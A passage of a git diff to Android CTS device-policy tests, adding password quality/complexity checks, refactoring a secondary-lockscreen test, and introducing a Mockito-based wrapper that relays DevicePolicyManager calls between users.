+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_SOMETHING;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+
+/** Test combination of quality and complexity. */
+public class PasswordQualityAndComplexityTest extends BaseDeviceAdminTest {
+
+    private DevicePolicyManager mParentDpm;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        clearQualityAndComplexity(mDevicePolicyManager);
+        clearQualityAndComplexity(mParentDpm);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        clearQualityAndComplexity(mDevicePolicyManager);
+        clearQualityAndComplexity(mParentDpm);
+        super.tearDown();
+    }
+
+    public void testCannotSetComplexityWithQualityOnParent() {
+        mDevicePolicyManager.setRequiredPasswordComplexity(
+                PASSWORD_COMPLEXITY_NONE);
+        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
+
+        assertThrows(IllegalStateException.class, () ->
+                mDevicePolicyManager.setRequiredPasswordComplexity(
+                        DevicePolicyManager.PASSWORD_COMPLEXITY_LOW));
+    }
+
+    public void testCannotSetQualityOnParentWithComplexity() {
+        mDevicePolicyManager.setRequiredPasswordComplexity(
+                DevicePolicyManager.PASSWORD_COMPLEXITY_LOW);
+
+        assertThrows(IllegalStateException.class, () ->
+                mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                        PASSWORD_QUALITY_SOMETHING));
+    }
+
+    private static void clearQualityAndComplexity(DevicePolicyManager dpm) {
+        // Clear quality
+        dpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
+        // Clear complexity
+        dpm.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
index 656210f..e014f13 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
@@ -17,38 +17,57 @@
 package com.android.cts.deviceandprofileowner;
 
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
-import static org.testng.Assert.assertThrows;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
 
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.os.PowerManager;
 import android.os.Process;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.Until;
-import android.util.Log;
 
-import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.List;
 
-public class SecondaryLockscreenTest extends BaseDeviceAdminTest {
+@RunWith(AndroidJUnit4.class)
+public class SecondaryLockscreenTest {
 
-    private static final int UI_AUTOMATOR_WAIT_TIME_MILLIS = 5000;
+    private static final int UI_AUTOMATOR_WAIT_TIME_MILLIS = 10000;
     private static final String TAG = "SecondaryLockscreenTest";
 
+    private Context mContext;
+    private DevicePolicyManager mDevicePolicyManager;
     private UiDevice mUiDevice;
 
     @Before
-    @Override
     public void setUp() throws Exception {
-        super.setUp();
+        mContext = InstrumentationRegistry.getContext();
+        assumeTrue(
+                "Device does not support secure lock",
+                mContext.getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_SECURE_LOCK_SCREEN));
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        runShellCommand("locksettings set-pin 1234");
+        mUiDevice.executeShellCommand("locksettings set-disabled false");
+        mUiDevice.executeShellCommand("locksettings set-pin 1234");
 
         mDevicePolicyManager.clearPackagePersistentPreferredActivities(ADMIN_RECEIVER_COMPONENT,
                 mContext.getPackageName());
@@ -59,14 +78,14 @@
     }
 
     @After
-    @Override
     public void tearDown() throws Exception {
-        super.tearDown();
         mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT, false);
         assertFalse(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
-        runShellCommand("locksettings clear --old 1234");
+        mUiDevice.executeShellCommand("locksettings clear --old 1234");
+        mUiDevice.executeShellCommand("locksettings set-disabled true");
     }
 
+    @Test
     public void testSetSecondaryLockscreenEnabled() throws Exception {
         enterKeyguardPin();
         assertTrue("Lockscreen title not shown",
@@ -80,6 +99,7 @@
         verifyHomeLauncherIsShown();
     }
 
+    @Test
     public void testHomeButton() throws Exception {
         enterKeyguardPin();
         assertTrue("Lockscreen title not shown",
@@ -91,6 +111,7 @@
         verifySecondaryLockscreenIsShown();
     }
 
+    @Test
     public void testDismiss() throws Exception {
         enterKeyguardPin();
         assertTrue("Lockscreen title not shown",
@@ -107,25 +128,24 @@
         verifySecondaryLockscreenIsShown();
     }
 
+    @Test(expected = SecurityException.class)
     public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() {
         final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver");
-        assertThrows(SecurityException.class,
-                () -> mDevicePolicyManager.setSecondaryLockscreenEnabled(badAdmin, true));
+        mDevicePolicyManager.setSecondaryLockscreenEnabled(badAdmin, true);
     }
 
     private void enterKeyguardPin() throws Exception {
         final PowerManager pm = mContext.getSystemService(PowerManager.class);
-        runShellCommand("input keyevent KEYCODE_SLEEP");
-        waitUntil("Device still interactive", 5,
-                () -> pm != null && !pm.isInteractive());
-        runShellCommand("input keyevent KEYCODE_WAKEUP");
-        waitUntil("Device still not interactive", 5,
-                () -> pm.isInteractive());
-        runShellCommand("wm dismiss-keyguard");
-        mUiDevice.wait(Until.hasObject(By.res("com.android.systemui", "pinEntry")),
-                UI_AUTOMATOR_WAIT_TIME_MILLIS);
-        runShellCommand("input text 1234");
-        runShellCommand("input keyevent KEYCODE_ENTER");
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        waitUntil("Device still interactive", 5, () -> pm != null && !pm.isInteractive());
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        waitUntil("Device still not interactive", 5, () -> pm.isInteractive());
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        mUiDevice.wait(
+                Until.hasObject(By.res("com.android.systemui", "pinEntry")),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS);
+        mUiDevice.executeShellCommand("input text 1234");
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_ENTER");
     }
 
     private void verifyHomeLauncherIsShown() {
@@ -159,4 +179,4 @@
         }
         return resolveInfos.isEmpty() ? null : resolveInfos.get(0).activityInfo.packageName;
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index 0d7661c..b59b942 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -97,6 +97,8 @@
     private static final String ARG_BATCH_NUMBER = "batchNumber";
     private static final String PREF_KEY_PREFIX = "batch-last-id-";
     private static final String PREF_NAME = "batchIds";
+    // system/core/liblog/event.logtags: 1006  liblog (dropped|1)
+    private static final int TAG_LIBLOG_DROPPED = 1006;
 
     // For brevity.
     private static final Class<String> S = String.class;
@@ -407,6 +409,11 @@
         for (int i = 0; i < events.size(); i++) {
             final SecurityEvent event = events.get(i);
 
+            // Skip liblog dropped event.
+            if (event.getTag() == TAG_LIBLOG_DROPPED) {
+                continue;
+            }
+
             verifyPayloadTypes(event);
 
             // Test id for monotonically increasing.
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
index 0c81063..10246cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
@@ -24,10 +24,11 @@
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.view.Display;
+import android.view.Gravity;
 import android.view.SurfaceControlViewHost;
 import android.view.View;
 import android.widget.Button;
-import android.widget.RelativeLayout;
+import android.widget.LinearLayout;
 import android.widget.TextView;
 
 /**
@@ -62,6 +63,8 @@
         title.setText(TITLE_LABEL);
 
         Button button = new Button(context);
+        // Avoid potential all caps text transformation on button. (eg. b/172993563)
+        button.setTransformationMethod(null);
         button.setText(DISMISS_BUTTON_LABEL);
         button.setOnClickListener(ignored -> {
             button.setText("Dismissing...");
@@ -69,10 +72,12 @@
             dismiss();
         });
 
-        RelativeLayout rootView = new RelativeLayout(context);
+        LinearLayout rootView = new LinearLayout(context);
+        rootView.setOrientation(LinearLayout.VERTICAL);
+        rootView.setGravity(Gravity.CENTER);
         rootView.setBackgroundColor(Color.WHITE);
         rootView.addView(title);
         rootView.addView(button);
         return rootView;
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 2f48dce..dee06b6 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -15,10 +15,14 @@
  */
 package com.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.UserIdInt;
 import android.app.Instrumentation;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.pm.PackageManager;
+import android.os.UserHandle;
 import android.support.test.uiautomator.UiDevice;
 import android.test.AndroidTestCase;
 
@@ -38,6 +42,8 @@
     protected Instrumentation mInstrumentation;
     protected UiDevice mDevice;
     protected boolean mHasSecureLockScreen;
+    /** User running the test (obtained from {@code mContext}). */
+    protected @UserIdInt int mUserId;
 
     @Override
     protected void setUp() throws Exception {
@@ -45,17 +51,27 @@
 
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mDevice = UiDevice.getInstance(mInstrumentation);
-        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+        mDevicePolicyManager = DevicePolicyManagerWrapper.get(mContext);
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+        mUserId = mContext.getUserId();
+
         assertDeviceOwner();
     }
 
     private void assertDeviceOwner() {
-        assertNotNull(mDevicePolicyManager);
-        assertTrue(mDevicePolicyManager.isAdminActive(getWho()));
-        assertTrue(mDevicePolicyManager.isDeviceOwnerApp(mContext.getPackageName()));
-        assertFalse(mDevicePolicyManager.isManagedProfile(getWho()));
+        int myUserId = UserHandle.myUserId();
+        assertWithMessage("DPM for user %s", myUserId).that(mDevicePolicyManager).isNotNull();
+
+        ComponentName admin = getWho();
+        assertWithMessage("Component %s is admin for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isAdminActive(admin)).isTrue();
+
+        String pkgName = mContext.getPackageName();
+        assertWithMessage("Component %s is device owner for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isDeviceOwnerApp(pkgName)).isTrue();
+        assertWithMessage("Component %s is profile owner for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isManagedProfile(admin)).isFalse();
     }
 
     protected ComponentName getWho() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
index 37b3ed7..efab90d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
@@ -20,6 +20,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.os.UserHandle;
+
 import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 
 public class BasicAdminReceiver extends DeviceAdminReceiver {
@@ -40,6 +41,15 @@
     }
 
     @Override
+    public void onReceive(Context context, Intent intent) {
+        if (intent.getAction().equals(DevicePolicyManagerWrapper.ACTION_WRAPPED_DPM_CALL)) {
+            DevicePolicyManagerWrapper.onReceive(this, context, intent);
+            return;
+        }
+        super.onReceive(context, intent);
+    }
+
+    @Override
     public void onUserAdded(Context context, Intent intent, UserHandle userHandle) {
         super.onUserAdded(context, intent, userHandle);
         sendUserBroadcast(context, ACTION_USER_ADDED, userHandle);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java
new file mode 100644
index 0000000..8ff7e4a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyLong;
+import static org.mockito.Mockito.doAnswer;
+
+import android.annotation.Nullable;
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.util.DebugUtils;
+import android.util.Log;
+import android.util.Slog;
+
+import org.mockito.Mockito;
+import org.mockito.stubbing.Answer;
+
+import java.io.Serializable;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Class used to create to provide a {@link DevicePolicyManager} implementation that automatically
+ * funnels calls between the user running the tests and the user that is the device owner.
+ */
+// TODO(b/176993670): STOPSHIP - it currently uses ordered broadcasts and a Mockito spy to implement
+// the IPC between users, but before S is shipped it should be changed to use the connected apps SDK
+// or the new CTS infrastructure.
+public final class DevicePolicyManagerWrapper {
+
+    private static final String TAG = DevicePolicyManagerWrapper.class.getSimpleName();
+    private static final boolean VERBOSE = false;
+
+    static final String ACTION_WRAPPED_DPM_CALL =
+            "com.android.cts.deviceowner.action.WRAPPED_DPM_CALL";
+
+    private static final String EXTRA_METHOD = "methodName";
+    private static final String EXTRA_NUMBER_ARGS = "number_args";
+    private static final String EXTRA_ARG_PREFIX = "arg_";
+
+    // NOTE: Bundle has a putObject() method that would make it much easier to marshal the args,
+    // but unfortunately there is no Intent.putObjectExtra() method (and intent.getBundle() returns
+    // a copy, so we need to explicitly marshal any supported type).
+    private static final String TYPE_BOOLEAN = "boolean";
+    private static final String TYPE_STRING = "string";
+    private static final String TYPE_LONG = "long";
+    private static final String TYPE_PARCELABLE = "parcelable";
+    private static final String TYPE_SERIALIZABLE = "serializable";
+    private static final String TYPE_ARRAY_LIST_STRING = "array_list_string";
+
+    public static final int RESULT_OK = 42;
+    public static final int RESULT_EXCEPTION = 666;
+
+    private static final int TIMEOUT_MS = 15_000;
+
+    private static final HashMap<Context, DevicePolicyManager> sSpies = new HashMap<>();
+
+    /***
+     * Gets the {@link DevicePolicyManager} for the given context.
+     *
+     * <p>Tests should use this method to get a {@link DevicePolicyManager} instance.
+     */
+    public static DevicePolicyManager get(Context context) {
+        int userId = context.getUserId();
+        DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+
+        if (!UserManager.isHeadlessSystemUserMode()) {
+            if (VERBOSE) Log.v(TAG, "get(): returning 'pure' DevicePolicyManager: " + dpm);
+            return dpm;
+        }
+
+        DevicePolicyManager spy = sSpies.get(context);
+        if (spy != null) {
+            Log.d(TAG, "get(): returning cached spy for context " + context + " and user "
+                    + userId);
+            return spy;
+        }
+
+        spy = Mockito.spy(dpm);
+
+        Answer<?> answer = (inv) -> {
+            Slog.d(TAG, "spying " + inv);
+            Object[] args = inv.getArguments();
+            String methodName = inv.getMethod().getName();
+            Intent intent = new Intent(ACTION_WRAPPED_DPM_CALL)
+                    .setClassName(context, BasicAdminReceiver.class.getName())
+                    .putExtra(EXTRA_METHOD, methodName)
+                    .putExtra(EXTRA_NUMBER_ARGS, args.length);
+            for (int i = 0; i < args.length; i++) {
+                addArg(intent, args, i);
+            }
+
+            final CountDownLatch latch = new CountDownLatch(1);
+            final AtomicReference<Result> resultRef = new AtomicReference<>();
+            BroadcastReceiver myReceiver = new BroadcastReceiver() {
+                public void onReceive(Context context, Intent intent) {
+                    if (VERBOSE) {
+                        Log.v(TAG, "spy received intent " + intent.getAction() + " for user "
+                                + context.getUserId());
+                    }
+                    Result result = new Result(this);
+                    if (VERBOSE) Log.v(TAG, "result:" + result);
+                    resultRef.set(result);
+                    latch.countDown();
+                };
+
+            };
+            if (VERBOSE) {
+                Log.v(TAG, "Broadcasting intent from user "  + userId + " to user "
+                        + UserHandle.SYSTEM);
+            }
+            runWithShellPermissionIdentity(() -> context.sendOrderedBroadcastAsUser(intent,
+                    UserHandle.SYSTEM, /* permission= */ null, myReceiver, /* scheduler= */ null,
+                    /* initialCode= */ 0, /* initialData= */ null, /* initialExtras= */ null));
+
+            if (VERBOSE) Log.d(TAG, "Waiting for response");
+            if (!latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                fail("Ordered broadcast for " + methodName + "() not received in " + TIMEOUT_MS
+                        + "ms");
+            }
+
+            Result result = resultRef.get();
+            Log.d(TAG, "Received result on user " + userId + ": " + result);
+
+            switch (result.code) {
+                case RESULT_OK:
+                    return result.value;
+                case RESULT_EXCEPTION:
+                    throw (Exception) result.value;
+                default:
+                    fail("Received invalid result" + result);
+                    return null;
+            }
+        };
+
+        // TODO(b/176993670): ideally there should be a way to automatically mock all DPM methods,
+        // but that's probably not doable, as there is no contract (such as an interface) to specify
+        // which ones should be spied and which ones should not (in fact, if there was an interface,
+        // we wouldn't need Mockito and could wrap the calls using java's DynamicProxy
+
+        // Basic methods used by most tests
+        doAnswer(answer).when(spy).isAdminActive(any());
+        doAnswer(answer).when(spy).isDeviceOwnerApp(any());
+        doAnswer(answer).when(spy).isManagedProfile(any());
+        doAnswer(answer).when(spy).isProfileOwnerApp(any());
+        doAnswer(answer).when(spy).isAffiliatedUser();
+
+        // Used by SetTimeTest
+        doAnswer(answer).when(spy).setTime(any(), anyLong());
+        doAnswer(answer).when(spy).setTimeZone(any(), any());
+        doAnswer(answer).when(spy).setGlobalSetting(any(), any(), any());
+
+        // Used by UserControlDisabledPackagesTest
+        doAnswer(answer).when(spy).setUserControlDisabledPackages(any(), any());
+        doAnswer(answer).when(spy).getUserControlDisabledPackages(any());
+
+        // TODO(b/176993670): add more methods below as tests are converted
+
+        sSpies.put(context, spy);
+        Log.d(TAG, "get(): returning new spy for context " + context + " and user "
+                + userId);
+
+        return spy;
+    }
+
+    /**
+     * Handles the wrapped DPM call received by the {@link DeviceAdminReceiver}.
+     */
+    static void onReceive(DeviceAdminReceiver receiver, Context context, Intent intent) {
+        try {
+            String methodName = intent.getStringExtra(EXTRA_METHOD);
+            int numberArgs = intent.getIntExtra(EXTRA_NUMBER_ARGS, 0);
+            Log.d(TAG, "onReceive(): userId=" + context.getUserId()
+                    + ", intent=" + intent.getAction() + ", methodName=" + methodName
+                    + ", numberArgs=" + numberArgs);
+            Object[] args = null;
+            if (numberArgs > 0) {
+                args =  new Object[numberArgs];
+                Bundle extras = intent.getExtras();
+                for (int i = 0; i < numberArgs; i++) {
+                    getArg(extras, args, i);
+                }
+                Log.d(TAG, "onReceive(): args=" + Arrays.toString(args));
+            }
+
+            Method method = null;
+            for (Method candidate : DevicePolicyManager.class.getDeclaredMethods()) {
+                if (candidate.getName().equals(methodName)) {
+                    // TODO(b/176993670): might need to use args to infer proper method if it's
+                    // overloaded
+                    method = candidate;
+                    break;
+                }
+            }
+            if (method == null) {
+                sendError(receiver, new IllegalArgumentException(
+                        "Could not find method " + methodName + " using reflection"));
+                return;
+            }
+            Object result = method.invoke(receiver.getManager(context), args);
+            Log.d(TAG, "onReceive(): result=" + result);
+            sendResult(receiver, result);
+        } catch (Exception e) {
+            sendError(receiver, e);
+        }
+        return;
+    }
+
+
+    static void addArg(Intent intent, Object[] args, int index) {
+        Object value = args[index];
+        String extraTypeName = getArgExtraTypeName(index);
+        String extraValueName = getArgExtraValueName(index);
+        if (VERBOSE) {
+            Log.v(TAG, "addArg(" + index + "): typeName= " + extraTypeName
+                    + ", valueName= " + extraValueName);
+        }
+        if ((value instanceof Boolean)) {
+            logMarshalling("Adding Boolean", index, extraTypeName, TYPE_BOOLEAN,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_BOOLEAN);
+            intent.putExtra(extraValueName, ((Boolean) value).booleanValue());
+            return;
+        }
+        if ((value instanceof String)) {
+            logMarshalling("Adding String", index, extraTypeName, TYPE_STRING,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_STRING);
+            intent.putExtra(extraValueName, (String) value);
+            return;
+        }
+        if ((value instanceof Long)) {
+            logMarshalling("Adding Long", index, extraTypeName, TYPE_LONG,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_LONG);
+            intent.putExtra(extraValueName, ((Long) value).longValue());
+            return;
+        }
+        if ((value instanceof Parcelable)) {
+            logMarshalling("Adding Parcelable", index, extraTypeName, TYPE_PARCELABLE,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_PARCELABLE);
+            intent.putExtra(extraValueName, (Parcelable) value);
+            return;
+        }
+        if ((value instanceof Serializable)) {
+            logMarshalling("Adding Serializable", index, extraTypeName, TYPE_SERIALIZABLE,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_SERIALIZABLE);
+            intent.putExtra(extraValueName, (Serializable) value);
+            return;
+        }
+        if ((value instanceof ArrayList<?>)) {
+            ArrayList<?> arrayList = (ArrayList<?>) value;
+            String type = null;
+            if (arrayList.isEmpty()) {
+                Log.w(TAG, "Empty list at index " + index + "; assuming it's ArrayList<String>");
+            } else {
+                Object firstItem = arrayList.get(0);
+                if (!(firstItem instanceof String)) {
+                    throw new IllegalArgumentException("Unsupported ArrayList type at index "
+                            + index + ": " + firstItem);
+                }
+                logMarshalling("Adding ArrayList<String>", index, extraTypeName,
+                        TYPE_ARRAY_LIST_STRING, extraValueName, value);
+                intent.putExtra(extraTypeName, TYPE_ARRAY_LIST_STRING);
+                intent.putExtra(extraValueName, (ArrayList<String>) arrayList);
+            }
+            return;
+        }
+
+        throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+                + value.getClass());
+    }
+
+    static void getArg(Bundle extras, Object[] args, int index) {
+        String extraTypeName = getArgExtraTypeName(index);
+        String extraValueName = getArgExtraValueName(index);
+        String type = extras.getString(extraTypeName);
+        if (VERBOSE) {
+            Log.v(TAG, "getArg(" + index + "): typeName= " + extraTypeName + ", type=" + type
+                    + ", valueName= " + extraValueName);
+        }
+        Object value = null;
+        switch (type) {
+            case TYPE_ARRAY_LIST_STRING:
+            case TYPE_STRING:
+            case TYPE_BOOLEAN:
+            case TYPE_LONG:
+            case TYPE_PARCELABLE:
+            case TYPE_SERIALIZABLE:
+                value = extras.get(extraValueName);
+                logMarshalling("Got generic", index, extraTypeName, type, extraValueName,
+                        value);
+                break;
+            default:
+                throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+                        + extraTypeName);
+        }
+        args[index] = value;
+    }
+
+    static String getArgExtraTypeName(int index) {
+        return EXTRA_ARG_PREFIX + index + "_type";
+    }
+
+    static String getArgExtraValueName(int index) {
+        return EXTRA_ARG_PREFIX + index + "_value";
+    }
+
+    private static void logMarshalling(String operation, int index, String typeName,
+            String type, String valueName, Object value) {
+        if (VERBOSE) {
+            Log.v(TAG, operation + " on " + index + ": typeName=" + typeName + ", type=" + type
+                    + ", valueName=" + valueName + ", value=" + value);
+        }
+    }
+
+    private static void sendError(DeviceAdminReceiver receiver, Exception e) {
+        Log.e(TAG, "Exception handling wrapped DPC call" , e);
+        sendNoLog(receiver, RESULT_EXCEPTION, e);
+    }
+
+    private static void sendResult(DeviceAdminReceiver receiver, Object result) {
+        if (VERBOSE) Log.v(TAG, "Returning " + result);
+        sendNoLog(receiver, RESULT_OK, result);
+    }
+
+    private static void sendNoLog(DeviceAdminReceiver receiver, int code, Object result) {
+        receiver.setResultCode(code);
+        if (result != null) {
+            Intent intent = new Intent();
+            addArg(intent, new Object[] { result }, /* index= */ 0);
+            receiver.setResultExtras(intent.getExtras());
+        }
+    }
+
+    private static String resultCodeToString(int code) {
+        return DebugUtils.constantToString(DevicePolicyManagerWrapper.class, "RESULT_", code);
+    }
+
+    private DevicePolicyManagerWrapper() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+
+    private static final class Result {
+        public final int code;
+        @Nullable public final String error;
+        @Nullable public final Bundle extras;
+        @Nullable public final Object value;
+
+        Result(BroadcastReceiver receiver) {
+            int resultCode = receiver.getResultCode();
+            String data = receiver.getResultData();
+            extras = receiver.getResultExtras(/* makeMap= */ true);
+            Object parsedValue = null;
+            try {
+                if (extras != null && !extras.isEmpty()) {
+                    Object[] result = new Object[1];
+                    int index = 0;
+                    getArg(extras, result, index);
+                    parsedValue = result[index];
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "error parsing extras (code=" + resultCode + ", data=" + data, e);
+                data = "error parsing extras";
+                resultCode = RESULT_EXCEPTION;
+            }
+            code = resultCode;
+            error = data;
+            value = parsedValue;
+        }
+
+        @Override
+        public String toString() {
+            return "Result[code=" + resultCodeToString(code) + ", error=" + error
+                    + ", extras=" + extras + ", value=" + value + "]";
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index 984444d..7578e8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -16,26 +16,72 @@
 package com.android.cts.deviceowner;
 
 import static android.app.admin.DevicePolicyManager.OPERATION_CREATE_AND_MANAGE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REBOOT;
 import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REQUEST_BUGREPORT;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_HIDDEN;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_CAMERA_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_GLOBAL_PRIVATE_DNS;
